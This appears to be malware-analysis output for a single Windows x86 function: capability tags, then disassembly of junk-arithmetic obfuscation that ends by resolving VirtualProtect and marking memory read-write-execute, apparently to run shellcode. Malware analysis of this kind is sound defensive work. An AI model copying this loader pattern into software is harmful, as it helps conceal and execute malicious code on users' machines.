Function at 0x417c90
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a4
mov dword [ebp - 4], 0x3428e677
mov dword [ebp - 0x9c], 0x5ec898ea
mov dword [ebp - 8], 0x6460c7de
mov dword [ebp - 0x40], 0x3788efb
mov dword [ebp - 0xc], 0x3dff6587
mov dword [ebp - 0x18], 0x21936543
mov dword [ebp - 0x1c], 0x45102a28
mov dword [ebp - 0x14], 0x3292a01f
mov dword [ebp - 0x30], 0x31a3c8f7
mov dword [ebp - 0x60], 0x2e80301e
mov dword [ebp - 0x44], 0x6b7811bf
mov dword [ebp - 0x3c], 0x3af8fe87
mov dword [ebp - 0x78], 0x4f2054ad
mov dword [ebp - 0x34], 0x3546f3ef
mov dword [ebp - 0xe8], 0x57a8e45f
mov dword [ebp - 0x88], 0x398a3d87
mov dword [ebp - 0xd0], 0x6d87cffb
mov dword [ebp - 0x2c], 0x4d1b71e0
mov dword [ebp - 0x38], 0x6dbaacf9
mov dword [ebp - 0xa4], 0x3167f39c
mov dword [ebp - 0xc0], 0x605be16e
mov dword [ebp - 0x20], 0x43909447
mov dword [ebp - 0x10], 0x3993b28
mov dword [ebp - 0x4c], 0x7307e039
mov dword [ebp - 0x70], 0x4c07f510
mov dword [ebp - 0x50], 0x5797d154
mov dword [ebp - 0xc8], 0x194bb71a
mov dword [ebp - 0xfc], 0x33b5ae1f
mov dword [ebp - 0x108], 0x6a9803e7
mov dword [ebp - 0x134], 0x4b2732ed
mov dword [ebp - 0x298], 0x159f0b18
mov dword [ebp - 0x58], 0x4b268ed7
mov dword [ebp - 0x24], 0x52c04878
mov dword [ebp - 0x8c], 0x6cd2346b
mov dword [ebp - 0xd8], 0x22c37b55
mov dword [ebp - 0xf8], 0x3cba29a1
mov dword [ebp - 0x168], 0xd0791c1
mov dword [ebp - 0x100], 0x48fd2c11
mov dword [ebp - 0xb4], 0x43ac71a6
mov dword [ebp - 0x184], 0x5aa18186
mov dword [ebp - 0xa0], 0x39559e3e
mov dword [ebp - 0x28], 0x455b50d
mov dword [ebp - 0x80], 0x6a9be71d
mov dword [ebp - 0x5c], 0x106ae255
mov dword [ebp - 0x74], 0x34437f72
mov dword [ebp - 0xac], 0x8731a44
mov dword [ebp - 0x17c], 0x683e1a24
mov dword [ebp - 0x54], 0x73d08e1a
mov dword [ebp - 0x230], 0x40d27552
mov dword [ebp - 0xec], 0x387d7b78
mov dword [ebp - 0xc4], 0x4ef3715c
mov dword [ebp - 0x6c], 0x30637d27
mov dword [ebp - 0xcc], 0x52afdee3
mov dword [ebp - 0x1a4], 0x492c2063
mov dword [ebp - 0x120], 0x666cecee
mov dword [ebp - 0x12c], 0xf396a8c
mov dword [ebp - 0xa8], 0x66431dea
mov dword [ebp - 0x110], 0x34099f6d
mov dword [ebp - 0x64], 0x72f78469
mov dword [ebp - 0xb8], 0x7acdd8d
mov dword [ebp - 0x84], 0x6a4ee314
mov dword [ebp - 0x1ac], 0x3bc2f584
mov dword [ebp - 0x1c0], 0x6b9c2381
mov dword [ebp - 0xf0], 0x1b912663
mov dword [ebp - 0x124], 0x53dbe388
mov dword [ebp - 0x90], 0x1783c32d
mov dword [ebp - 0x288], 0x50c5540f
mov dword [ebp - 0x1c8], 0x456f05d0
mov dword [ebp - 0x94], 0x6ac1fb96
mov dword [ebp - 0x164], 0x4cd0ba51
mov dword [ebp - 0x18c], 0x9a8a861
mov dword [ebp - 0x7c], 0x146e6f54
mov dword [ebp - 0x238], 0x5b369b1d
mov dword [ebp - 0x13c], 0x755842b7
mov dword [ebp - 0x16c], 0x2335cd27
mov dword [ebp - 0x14c], 0x1108e9f9
mov dword [ebp - 0x174], 0x644353bb
mov dword [ebp - 0x1d0], 0x7f83b99b
mov dword [ebp - 0xb0], 0x2309e702
mov dword [ebp - 0xe4], 0x5b3452b3
mov dword [ebp - 0x98], 0xd09cc77
mov dword [ebp - 0x68], 0x3269b5d8
mov dword [ebp - 0x270], 0x50c270cc
mov dword [ebp - 0x104], 0x50d06c09
mov dword [ebp - 0x1d8], 0x39af909d
mov dword [ebp - 0x240], 0x7dae1adf
mov dword [ebp - 0x194], 0x76800a0d
mov dword [ebp - 0x1e0], 0x27e44579
mov dword [ebp - 0x180], 0x7ea48d41
mov dword [ebp - 0x140], 0x6a2d738c
mov dword [ebp - 0x144], 0x67fcf2bb
mov dword [ebp - 0xe0], 0x73bde2d3
mov dword [ebp - 0x1b4], 0x5d9a2343
mov dword [ebp - 0x1e8], 0x61c39dd2
mov dword [ebp - 0xdc], 0x5ab3fd06
mov dword [ebp - 0x154], 0x3fc8a9fb
mov dword [ebp - 0x248], 0x488d3bab
mov dword [ebp - 0x19c], 0x4d0f6365
mov dword [ebp - 0xd4], 0x7f3f0d1
mov dword [ebp - 0x1f0], 0x56e3e523
mov dword [ebp - 0x158], 0x4603e2c7
mov dword [ebp - 0x11c], 0x157f5433
mov dword [ebp - 0x278], 0x9abd50b
mov dword [ebp - 0xf4], 0x129ac3d6
mov dword [ebp - 0x138], 0xae376e
mov dword [ebp - 0x1f8], 0xbcdc041
mov dword [ebp - 0x48], 0x53ba9c66
mov dword [ebp - 0xbc], 0x25492420
mov dword [ebp - 0x10c], 0x63d5662c
mov dword [ebp - 0x198], 0x12133fa5
mov dword [ebp - 0x250], 0x3225f29e
mov dword [ebp - 0x200], 0x7c19cfeb
mov dword [ebp - 0x128], 0x12bc7403
mov dword [ebp - 0x290], 0x4dafb25
mov dword [ebp - 0x114], 0x1c69409d
mov dword [ebp - 0x118], 0x21251c8d
mov dword [ebp - 0x208], 0x39fdcebc
mov dword [ebp - 0x258], 0x49428a4b
mov dword [ebp - 0x210], 0xdc3bdc
mov dword [ebp - 0x15c], 0x46e59cf2
mov dword [ebp - 0x280], 0x2b85a230
mov dword [ebp - 0x218], 0x632ae975
mov dword [ebp - 0x260], 0x6e2caad
mov dword [ebp - 0x148], 0x145f65fb
mov dword [ebp - 0x220], 0x24a3a52c
mov dword [ebp - 0x2a0], 0x3d5f8c1c
mov dword [ebp - 0x228], 0x5f865030
mov dword [ebp - 0x130], 0x1e287405
mov dword [ebp - 0x268], 0x421dc358
mov dword [ebp - 0x1b8], 0x25871dae
mov dword [ebp - 0x1bc], 0x7d16ebd9
mov dword [ebp - 0x1c4], 0x1f2218c1
mov dword [ebp - 0x1cc], 0x95b1b4d
mov dword [ebp - 0x1d4], 0x7af4c741
mov dword [ebp - 0x170], 0x77116872
mov dword [ebp - 0x1b0], 0x1f075236
mov dword [ebp - 0x160], 0x75b00f1a
mov dword [ebp - 0x1dc], 0x197c83c3
mov dword [ebp - 0x1e4], 0x5ece37b2
mov dword [ebp - 0x1ec], 0x49d70e1
mov dword [ebp - 0x1f4], 0x4ec2b923
mov dword [ebp - 0x1fc], 0x35c65706
mov dword [ebp - 0x204], 0x5f6383f
mov dword [ebp - 0x190], 0x50299771
mov dword [ebp - 0x20c], 0x55aeecf6
mov dword [ebp - 0x150], 0x3fb1c19e
mov dword [ebp - 0x178], 0x6d7d8275
mov dword [ebp - 0x214], 0x5bf54d50
mov dword [ebp - 0x21c], 0x2fbb7fd5
mov dword [ebp - 0x188], 0x1715ffe4
mov dword [ebp - 0x224], 0x59f7ef47
mov dword [ebp - 0x22c], 0x41b57570
mov dword [ebp - 0x234], 0x77ada5ff
mov dword [ebp - 0x23c], 0x1ae4dec
mov dword [ebp - 0x244], 0x2937830e
mov dword [ebp - 0x1a8], 0x2cdd10ca
mov dword [ebp - 0x24c], 0x46f86e83
mov dword [ebp - 0x1a0], 0x7b9f1c30
mov dword [ebp - 0x254], 0x2d9c2de4
mov dword [ebp - 0x25c], 0x56bd2d5b
mov dword [ebp - 0x264], 0x2216569b
mov dword [ebp - 0x26c], 0x436541a5
mov dword [ebp - 0x274], 0x23883a7d
mov dword [ebp - 0x27c], 0x113256f6
mov dword [ebp - 0x284], 0x44eacde2
mov dword [ebp - 0x28c], 0x48ecb1e2
mov dword [ebp - 0x294], 0x76d6f459
mov dword [ebp - 0x29c], 0x1cce0c49
sub dword [ebp - 4], 0x7041ff45
add dword [ebp - 4], 0x550de041
mov eax, 0xf36e2e4
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
add dword [ebp - 4], 0x6ca49f2c
add dword [ebp - 4], 0xa9f8680
mov eax, 0x66a98147
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, 0x190aaf75
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, 0x28e50e3
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
sub dword [ebp - 4], 0x14185643
mov eax, 0x52f315aa
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
sub dword [ebp - 4], 0x7aed8cbd
add dword [ebp - 4], 0x555c43ba
sub dword [ebp - 8], 0x6f4b392b
sub dword [ebp - 0xc], 0x4725814b
mov eax, 0x3adf3ff6
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, 0x1f26f04f
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, 0x797372dc
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
add dword [ebp - 4], 0x33d47b16
mov eax, 0x679dd298
mul dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
add dword [ebp - 0x18], 0x2040257c
add dword [ebp - 0x18], 0x63c4fc71
mov eax, 0x6e664ffe
mul dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
sub dword [ebp - 4], 0x4cd3ace1
mov eax, 0x62bac04c
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
add dword [ebp - 8], 0x1031d10d
mov eax, 0x6c041d78
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub dword [ebp - 8], 0x41aa22f9
sub dword [ebp - 8], 0x7136ce67
mov eax, 0x5b5d9c48
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add dword [ebp - 0x14], 0x1ffa6a9a
add dword [ebp - 0x18], 0x14d56c25
mov eax, 0x417fa1f2
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
add dword [ebp - 8], 0x3f55e550
sub dword [ebp - 4], 0x3b7ae7cc
mov eax, 0x278b8d3f
mul dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
add dword [ebp - 0x14], 0x637a05cb
sub dword [ebp - 0x9c], 0x2d5e9333
mov eax, 0x1d48b31e
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
add dword [ebp - 0x30], 0x4cabea7d
add dword [ebp - 0x78], 0x5a5e08da
mov eax, 0x42ed6f9d
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add dword [ebp - 0x3c], 0x3bd0eda9
sub dword [ebp - 0x44], 0x16d94ad
sub dword [ebp - 0x14], 0x365fb5db
sub dword [ebp - 8], 0x93f4824
sub dword [ebp - 0x1c], 0x6c0ea7b9
sub dword [ebp - 4], 0x43da1c43
sub dword [ebp - 0xc], 0x600624ac
sub dword [ebp - 4], 0x131f82ef
sub dword [ebp - 0xc], 0x324688c5
sub dword [ebp - 0x18], 0x4ed514ab
sub dword [ebp - 0x9c], 0x67d9c65c
add dword [ebp - 0x78], 0x4841087d
sub dword [ebp - 0x2c], 0x5b81833c
add dword [ebp - 0x18], 0x305f7de8
add dword [ebp - 0x14], 0x13efcd05
add dword [ebp - 0x38], 0x7a574a7f
mov eax, 0x34172357
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
add dword [ebp - 0x30], 0x409b57c7
mov eax, 0x15c72241
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, 0x17707c8d
mul dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, 0xc68e1c9
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, 0xd3882e3
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, 0x2af8e51
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
add dword [ebp - 0x14], 0x546b0ae7
add dword [ebp - 0x44], 0x15ac97fc
mov eax, 0x3e8cfde
mul dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, 0x25974cd9
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
add dword [ebp - 0x34], 0x3f9a46c1
add dword [ebp - 0x10], 0x296bd856
sub dword [ebp - 0x60], 0x5586172e
sub dword [ebp - 0x20], 0x2e7801d7
mov eax, 0x3fbe97f9
mul dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
add dword [ebp - 0x14], 0x30e876c3
mov eax, 0x43278346
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, 0x6f88d5cb
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
add dword [ebp - 0x44], 0x19dc9d35
sub dword [ebp - 0x38], 0x38f686fa
sub dword [ebp - 0xd0], 0x70add4b9
mov eax, 0x4c6316e7
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, 0x6c754b91
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x20], 0x1320675f
sub dword [ebp - 0x60], 0x23837697
mov eax, 0x3721206e
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
add dword [ebp - 0x10], 0x36a2944
add dword [ebp - 0x44], 0x1f330add
mov eax, 0x7ec2afd
mul dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov eax, 0x6e72555f
mul dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
sub dword [ebp - 0x1c], 0x7ab93b9d
add dword [ebp - 0x60], 0x7cb4ca8
sub dword [ebp - 0x20], 0xbb2096
sub dword [ebp - 0x8c], 0x7c8e452b
mov eax, 0x59f91f9
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, 0x61d96f6c
mul dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
sub dword [ebp - 0x40], 0x6858f3fa
sub dword [ebp - 0x24], 0x684fe854
sub dword [ebp - 4], 0x1d11f6b5
add dword [ebp - 0x34], 0x6eddad7a
mov eax, 0x6157770
mul dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, 0x5f5e680f
mul dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
sub dword [ebp - 0x40], 0x2b2e8377
add dword [ebp - 0x108], 0x348ff40a
add dword [ebp - 0x8c], 0x4423c42d
sub dword [ebp - 0xd8], 0x65e55ff1
sub dword [ebp - 0xc], 0x32808dd7
add dword [ebp - 0x58], 0x1f545961
sub dword [ebp - 0x100], 0x41360e89
add dword [ebp - 0xac], 0x648d3e73
add dword [ebp - 0x54], 0x2c4ef515
add dword [ebp - 0x2c], 0x1fc38d81
sub dword [ebp - 0x28], 0x4e638b53
mov eax, 0x20b0a98
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add dword [ebp - 4], 0x3479dd5b
sub dword [ebp - 0x54], 0x6394ccf9
mov eax, 0x397743
mul dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x108], 0x53dc12ec
add dword [ebp - 0x1c], 0x37cf7e4d
add dword [ebp - 0x28], 0x60b54f6d
add dword [ebp - 0xc8], 0xa6002cb
add dword [ebp - 0x50], 0xa51ad3b
mov eax, 0x5be83b45
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub dword [ebp - 0xe8], 0x2ae4588f
sub dword [ebp - 4], 0x4ff98a4a
mov eax, 0x5a5544cc
mul dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
sub dword [ebp - 0x58], 0x3f927447
add dword [ebp - 0x30], 0x45eba842
add dword [ebp - 0x28], 0x74fcd8f4
sub dword [ebp - 0x58], 0xdd706e1
mov eax, 0x462bbdac
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add dword [ebp - 0x24], 0x7b1d9a6e
add dword [ebp - 0x54], 0x5e04511
sub dword [ebp - 0x24], 0x449c57da
mov eax, 0x1af393b4
mul dword [ebp - 0x184]
mov eax, dword [ebp - 0x184]
sub dword [ebp - 0x34], 0x4b95729b
add dword [ebp - 0xa0], 0x4d0adf0f
add dword [ebp - 0xa4], 0x306dd912
mov eax, 0x62c56e63
mul dword [ebp - 0xcc]
mov eax, dword [ebp - 0xcc]
sub dword [ebp - 0x2c], 0x10ccbbe3
sub dword [ebp - 0x2c], 0x2a74369
mov eax, 0x469e0a48
mul dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
sub dword [ebp - 0x80], 0x6ad342d9
mov eax, 0x4e1f6b40
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, 0xbb9ba98
mul dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
add dword [ebp - 0x28], 0xe038957
sub dword [ebp - 0xb8], 0x1692769d
mov eax, 0x7c2df9d
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
add dword [ebp - 0x34], 0x124b38d0
add dword [ebp - 0xb4], 0x499f58fb
add dword [ebp - 0x28], 0x5b08c268
mov eax, 0x61f55691
mul dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
mov eax, 0x5385f13b
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
sub dword [ebp - 0x8c], 0x6d314518
add dword [ebp - 0x78], 0x7452291e
mov eax, 0x4991691d
mul dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
sub dword [ebp - 0x6c], 0x40629ac9
add dword [ebp - 0x18c], 0x7d147cea
mov eax, 0x54d932c9
mul dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
sub dword [ebp - 0xc0], 0x17f1f11f
add dword [ebp - 0x94], 0x438210b9
add dword [ebp - 0x70], 0x3fe2b4c1
mov eax, 0x311d9422
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
add dword [ebp - 0x84], 0xe9a832a
add dword [ebp - 0xec], 0x112657c9
mov eax, 0x5b58f3c5
mul dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
sub dword [ebp - 0x110], 0x42c2f40a
add dword [ebp - 0xe8], 0x4da49155
sub dword [ebp - 0x38], 0x717542fa
sub dword [ebp - 0x4c], 0x7cdd34ce
sub dword [ebp - 0x10], 0x58a9ff52
add dword [ebp - 0x64], 0x49ecb35a
mov eax, 0x3fdb9f19
mul dword [ebp - 0x124]
mov eax, dword [ebp - 0x124]
add dword [ebp - 0xc0], 0x51cefb04
add dword [ebp - 0x100], 0x74aa687c
mov eax, 0x1d7b1974
mul dword [ebp - 0x16c]
mov eax, dword [ebp - 0x16c]
mov eax, 0x7aab21b0
mul dword [ebp - 0x12c]
mov eax, dword [ebp - 0x12c]
add dword [ebp - 0x4c], 0x717ca87f
sub dword [ebp - 0x84], 0xa227dd7
mov eax, 0x6100ab45
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
add dword [ebp - 0xc8], 0x41744678
sub dword [ebp - 0x1ac], 0x3f5c69a0
sub dword [ebp - 0xb0], 0x23ec1b30
add dword [ebp - 0x90], 0x7d6e28d9
sub dword [ebp - 0x5c], 0x650d04c5
sub dword [ebp - 0x5c], 0x44b04bd5
mov eax, 0x5c75854
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add dword [ebp - 0x134], 0x5a038c78
add dword [ebp - 0x80], 0xb512722
mov eax, 0x45450e36
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, 0x31c39541
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, 0x5ab4083e
mul dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
mov eax, 0x1a5b87cf
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0x58], 0x6cfc2e0c
sub dword [ebp - 0x94], 0x23044f0e
add dword [ebp - 0x30], 0x2109eb1b
mov eax, 0x660c970f
mul dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
sub dword [ebp - 0x7c], 0x15f9305e
sub dword [ebp - 0x24], 0x13967ff5
sub dword [ebp - 0x174], 0x2582d155
add dword [ebp - 0x88], 0x4fd67be6
sub dword [ebp - 0x3c], 0x137c7d12
mov eax, 0x2ee7aa4d
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, 0x2fd24dee
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
add dword [ebp - 0x13c], 0x2923b055
add dword [ebp - 0x24], 0x76a404ed
mov eax, 0x44db440f
mul dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
add dword [ebp - 0xa8], 0x1a245909
add dword [ebp - 0x74], 0xd0fbf43
mov eax, 0x74c10c82
mul dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, 0x3395a28f
mul dword [ebp - 0x194]
mov eax, dword [ebp - 0x194]
add dword [ebp - 0x7c], 0x619aec4e
add dword [ebp - 0x6c], 0x55d492a2
sub dword [ebp - 0xf0], 0x332469af
sub dword [ebp - 0xf8], 0x653a2d1a
sub dword [ebp - 0x50], 0x321895b0
sub dword [ebp - 0x68], 0x659236df
mov eax, 0x2276cf3a
mul dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, 0x79438674
mul dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, 0x2e6a7598
mul dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
add dword [ebp - 0x144], 0x45d427b4
sub dword [ebp - 8], 0x59528d04
add dword [ebp - 0x17c], 0x74ace5e9
add dword [ebp - 0xa8], 0x33af8b8c
sub dword [ebp - 0x1c], 0x29a001d4
add dword [ebp - 0x44], 0x4b829167
sub dword [ebp - 0x74], 0x6c576833
add dword [ebp - 0x6c], 0x41352abc
mov eax, 0x48934c66
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, 0x65245933
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
add dword [ebp - 0x7c], 0x383c921f
add dword [ebp - 0x98], 0x1855198e
sub dword [ebp - 0x90], 0x30efc11c
add dword [ebp - 4], 0x24548bc2
add dword [ebp - 0xf8], 0x4085c6f4
add dword [ebp - 0x2c], 0x3d97cc81
sub dword [ebp - 0x64], 0xb59c0ed
add dword [ebp - 0xc4], 0x5e3102e8
add dword [ebp - 0x88], 0x2a20ae32
sub dword [ebp - 0x18], 0x5b053905
add dword [ebp - 0x14c], 0x5221020f
add dword [ebp - 0x48], 0x66f1fda8
sub dword [ebp - 0x40], 0x4435fce9
sub dword [ebp - 0x1a4], 0x19268b8b
mov eax, 0x2d0393b5
mul dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, 0x7645321f
mul dword [ebp - 0xdc]
mov eax, dword [ebp - 0xdc]
add dword [ebp - 0xbc], 0x76460d7e
add dword [ebp - 0xe0], 0x16cd5725
mov eax, 0x7b1cb540
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, 0x156676e
mul dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
mov eax, 0x72fc3d7c
mul dword [ebp - 0x154]
mov eax, dword [ebp - 0x154]
sub dword [ebp - 0x68], 0x7d892b1a
mov eax, 0x6a61f44c
mul dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
sub dword [ebp - 0x118], 0x4f747889
add dword [ebp - 0x40], 0x71ed955b
mov eax, 0x72a7a618
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
sub dword [ebp - 0xb4], 0x3be1c28c
add dword [ebp - 0xbc], 0x2b3569d9
add dword [ebp - 0xc4], 0x6c794434
sub dword [ebp - 0xf4], 0x325f7efe
mov eax, 0x7a23ae2
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, 0x70f7f5
mul dword [ebp - 0xcc]
mov eax, dword [ebp - 0xcc]
sub dword [ebp - 0x15c], 0x5a23c9cf
mov eax, 0x37db4e95
mul dword [ebp - 0x19c]
mov eax, dword [ebp - 0x19c]
mov eax, 0x68e8537b
mul dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
add dword [ebp - 0x10c], 0x79d9ed37
mov eax, 0x229b64ea
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
add dword [ebp - 0x98], 0x638a1dbb
add dword [ebp - 0x70], 0x7c575984
mov eax, 0x4d5451ef
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, 0xdb8b6b
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
sub dword [ebp - 0x28], 0x61766a2e
mov eax, 0x5844c6d8
mul dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
add dword [ebp - 4], 0x9895823
sub dword [ebp - 0x48], 0x59093a8
add dword [ebp - 0x164], 0x21449963
sub dword [ebp - 0x10], 0x3b08a291
mov eax, 0x63e8158f
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, 0x44e07c4d
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
add dword [ebp - 0x11c], 0x73649ea6
add dword [ebp - 0xd4], 0x5847a87e
add dword [ebp - 0x18], 0x166ed280
sub dword [ebp - 0x68], 0x17269eee
sub dword [ebp - 0x30], 0x75870831
sub dword [ebp - 0x48], 0x51c61ec
sub dword [ebp - 0x120], 0x23f6a477
sub dword [ebp - 0xdc], 0x629d5780
mov eax, 0x657cb0f4
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x54], 0x33dce266
sub dword [ebp - 0xc], 0x823189b
add dword [ebp - 0x98], 0x2c86d3d8
mov eax, 0x737a07db
mul dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
mov eax, 0x59b3f67b
mul dword [ebp - 0x128]
mov eax, dword [ebp - 0x128]
mov eax, 0x1e3967c1
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
sub dword [ebp - 0x1c], 0x6f90c138
mov eax, 0x11578f31
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
sub dword [ebp - 0x130], 0x5a7a761e
add dword [ebp - 0x138], 0x14f3b012
add dword [ebp - 0xa0], 0x4a062aa9
sub dword [ebp - 0x140], 0x6d583c2f
mov eax, 0x5912cfe8
mul dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
add dword [ebp - 0x64], 0x57571084
add dword [ebp - 0xec], 0x28abeab0
sub dword [ebp - 0xa8], 0x4f8f8974
add dword [ebp - 0xc], 0x31fbb3dd
sub dword [ebp - 0xf4], 0x49bf4ba8
add dword [ebp - 0x148], 0x4b7f2003
add dword [ebp - 0x150], 0x30941779
sub dword [ebp - 0x6c], 0x43c184c4
add dword [ebp - 0xfc], 0x624ae323
mov eax, 0xe923d30
mul dword [ebp - 0x158]
mov eax, dword [ebp - 0x158]
add dword [ebp - 0x160], 0x3e68c1a2
sub dword [ebp - 0x168], 0x20643a76
mov eax, 0x4d60435f
mul dword [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov eax, 0x8b44e4
mul dword [ebp - 0x170]
mov eax, dword [ebp - 0x170]
sub dword [ebp - 0x178], 0x5953a52b
sub dword [ebp - 0x24], 0x491349b
mov eax, 0x29d00ece
mul dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
sub dword [ebp - 0x180], 0x639ec87
sub dword [ebp - 0x188], 0x64f66907
mov eax, 0x66a99d6d
mul dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
sub dword [ebp - 0x104], 0x163aa36
mov eax, 0x3a7355ce
mul dword [ebp - 0x198]
mov eax, dword [ebp - 0x198]
sub dword [ebp - 0x10c], 0x3e445c1c
mov eax, 0x391f3385
mul dword [ebp - 0x114]
mov eax, dword [ebp - 0x114]
sub dword [ebp - 0x114], 0x1c2285db
mov eax, 0x7aca47be
mul dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x1a0]
add dword [ebp - 0x4c], 0x1a47820d
add dword [ebp - 0x1a8], 0x3d5731c1
mov eax, 0x7807c527
mul dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
sub dword [ebp - 0x2c], 0x46991b2f
add dword [ebp - 0x1b0], 0x43faa4db
add dword [ebp - 8], 0x6c081da9
add dword [ebp - 0x10], 0x2c8c48da
push str.VirtualProtect
push dword [0x4460bc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x2a4]
mov dword [0x445e44], eax
push ecx
push 0x40
push dword [0x4483f0]
push dword [0x445e50]
call eax
mov esp, ebp
pop ebp
ret